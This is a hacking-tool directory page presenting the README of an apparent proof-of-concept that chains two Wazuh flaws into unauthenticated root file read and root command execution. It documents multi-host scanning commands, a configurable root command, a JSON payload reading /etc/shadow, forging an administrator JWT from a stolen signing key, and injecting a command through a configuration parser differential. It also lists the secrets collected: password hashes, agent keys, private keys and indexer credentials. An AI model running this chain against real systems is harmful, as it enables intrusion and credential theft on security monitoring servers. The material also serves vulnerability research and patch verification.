Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/roninreilly/wazuh-unauth-chain
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationCryptographyPenetration TestingAuthentication
GitHubroninreilly/wazuh-unauth-chain

wazuh-unauth-chain

Wazuh PoC chaining CVE-2026-74034 file read and CVE-2026-74041 command execution; fixed in 4.14.8. Python standard library only.

View Repository
223 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Wazuh exploit-chain PoC (fixed in 4.14.8) — CVE-2026-74034 / CVE-2026-74041

Single-file, stdlib-only multi-host PoC chaining CVE-2026-74034 and CVE-2026-74041. Both advisories were published on 13 October 2026; the fixes shipped in Wazuh 4.14.8 on 23 September 2026. Version 4.14.8 is the patched release, not an affected target.

The script implements the following chain when the required manager services are reachable and passwordless agent enrollment is enabled:

recon :55000/:1515/:1514
        │
        ├─ Phase 2  anonymous enrollment on TCP/1515 (TLS)  ──► agent id + 64-hex key
        │
        ├─ Phase 3  OSSEC agent secure channel on TCP/1514   ──► CVE-2026-74034
        │           queue 'u' (UPGRADE_MQ) upgrade_custom          arbitrary ROOT file read
        │           with parameters.file_path = /etc/shadow …
        │
        └─ Phase 4  ES512 JWT forged from the leaked             ──► CVE-2026-74041
                    /var/ossec/api/configuration/security/          ROOT RCE via the
                    private_key.pem → PUT /manager/configuration      check_remote_commands
                    parser differential (+ restart)                   parser differential

No pre-existing credentials are needed when the shipped-by-default passwordless authd enrollment is reachable (<auth><use_password>no</use_password>). An enrollment password or required client certificate changes this precondition. CVE-2026-74041 alone requires an authenticated API user with configuration-update permission; in this chain, API access follows the signing-key disclosure.

CVEs in scope

CVECVSS / vectorAffectedOne-liner
CVE-2026-740347.5, PR:N>=4.1.0 <4.14.8upgrade_custom parameters.file_path is opened by ROOT wm_agent_upgrade with only a wfopen() existence check and streamed back to the enrolled agent → arbitrary root file read
CVE-2026-740419.1 (CVSS 3.1), PR:H>=4.14.3 <4.14.8check_remote_commands accepts an uppercase <LOG_FORMAT> that the case-sensitive Python validator misses but the case-insensitive C logcollector honours → full_command localfile as root

The two version ranges describe the individual flaws; the documented overlap for the full chain is >=4.14.3 <4.14.8. Other advisories are outside this PoC.

Requirements

  • Python 3.8+ — standard library only (no pip, no pycryptodome, no cryptography).
  • AES-256-CBC and ECDSA P-521 (ES512) are implemented in pure Python in the script.
  • Outbound TCP to 1515, 1514, 55000.

Usage

# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000

# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10

# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce

# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep

# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'

Options

FlagDefaultMeaning
--port55000Wazuh REST API port
--authd-port1515authd enrollment port
--remoted-port1514agent secure-channel port
--timeout10socket timeout (s)
--agent-namepoc-<rand8>name enrolled on the manager
--cmd(id; hostname) > …/zz_pwnedphase-4 root command
--no-rceoffskip phase 4
--keepoffdo not restore ossec.conf / delete the marker
--debugoffdump protocol messages
--threads5host parallelism
--api-userwazuhusername to put in the forged JWT

Exit is always graceful per host: a refusal, a password-protected authd, a patched version or a crypto mismatch is reported with the exact blocking point and the run continues with the remaining hosts.

What each phase does

Phase 1 — recon

Probes TCP 55000 (API), 1515 (authd), 1514 (remoted). Requests GET / with TLS verification disabled and reports api_version when the API exposes it unauthenticated. On hardened builds GET / returns 401; the real manager version is then recovered in phase 3 from /var/ossec/VERSION.json and flagged against 4.14.8.

Phase 2 — anonymous enrollment (authd :1515)

TLS connection (4.4+ authd is TLS-only; the script also retries plain TCP for very old builds), then OSSEC A:'<name>'\n. The manager replies OSSEC K:'<id> <name> <ip> <key>'; the script keeps the 64-hex agent key.

Phase 3 — CVE-2026-74034 (remoted :1514)

Reproduces the Wazuh agent crypto from src/os_crypto/shared/msgs.c:

  • TCP frame [4-byte little-endian length][payload]
  • payload !<id>!#AES:<ciphertext> for dynamic (ip=any) agents
  • AES-256-CBC, key = MD5(agent_key_hex) (32 ASCII bytes), IV FEDCBA0987654321, PKCS#7
  • plaintext = !…! padding + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)

It sends #!-agent startup {"version":"v4.14.6"} and a keepalive carrying Ubuntu platform/arch so the agent becomes active in the global DB, then a queue u (UPGRADE_MQ) task:

{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}

analysisd forwards it to WM_UPGRADE_SOCK; the ROOT wazuh-modulesd opens the file (wfopen, no path/extension/signature checks) and streams the raw bytes back as base64 write chunks. The script reassembles them and prints live [ACC] lines:

filehandling
/etc/shadowonly root: / wazuh: lines (hash printed in full)
/var/ossec/etc/client.keysfull (trimmed to 25 lines, bytes counted)
/var/ossec/etc/authd.passfull (absent when enrollment is anonymous)
/var/ossec/api/configuration/security/private_key.pemfull
/var/ossec/etc/ossec.confcluster <key>, indexer creds, <auth> password
/var/ossec/VERSION.jsonversion fallback for recon

Between files the script sends upgrade_update_status (otherwise the task manager keeps the agent In progress and refuses the next task).

Phase 4 — CVE-2026-74041 (optional, REST :55000)

  1. Forge an administrator ES512 JWT with the leaked private key (iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1], rbac_mode=white, exp-nbf=900). Verified against GET /agents.
  2. GET /manager/configuration?raw=true, insert before the last </ossec_config> a <localfile> with a lowercase <log_format>syslog</log_format> decoy and an uppercase <LOG_FORMAT>full_command</LOG_FORMAT> plus the command.
  3. PUT /manager/configuration (application/octet-stream), then PUT /manager/restart.
  4. Poll GET /lists/files/zz_pwned?raw=true for the root command output.
  5. Unless --keep: PUT the original ossec.conf, restart, and DELETE /lists/files/zz_pwned (with retries until the marker is gone).

Output

  • Everything is printed live and flushed, tagged [+] (status), [ACC] (collected access/secret), [!] (warning), [-] (failure), prefixed with the host.
  • findings.jsonl is appended next to the script: one JSON object per host with version, agent_id, agent_key (when enrollment succeeds), accesses, findings, ok, and optional error. Treat the file as sensitive.
  • A per-host summary reports the enrolled agent id, collected accesses, findings and any blocking point. ok indicates at least one file read, not confirmed RCE.

Side effects and cleanup

Download Tool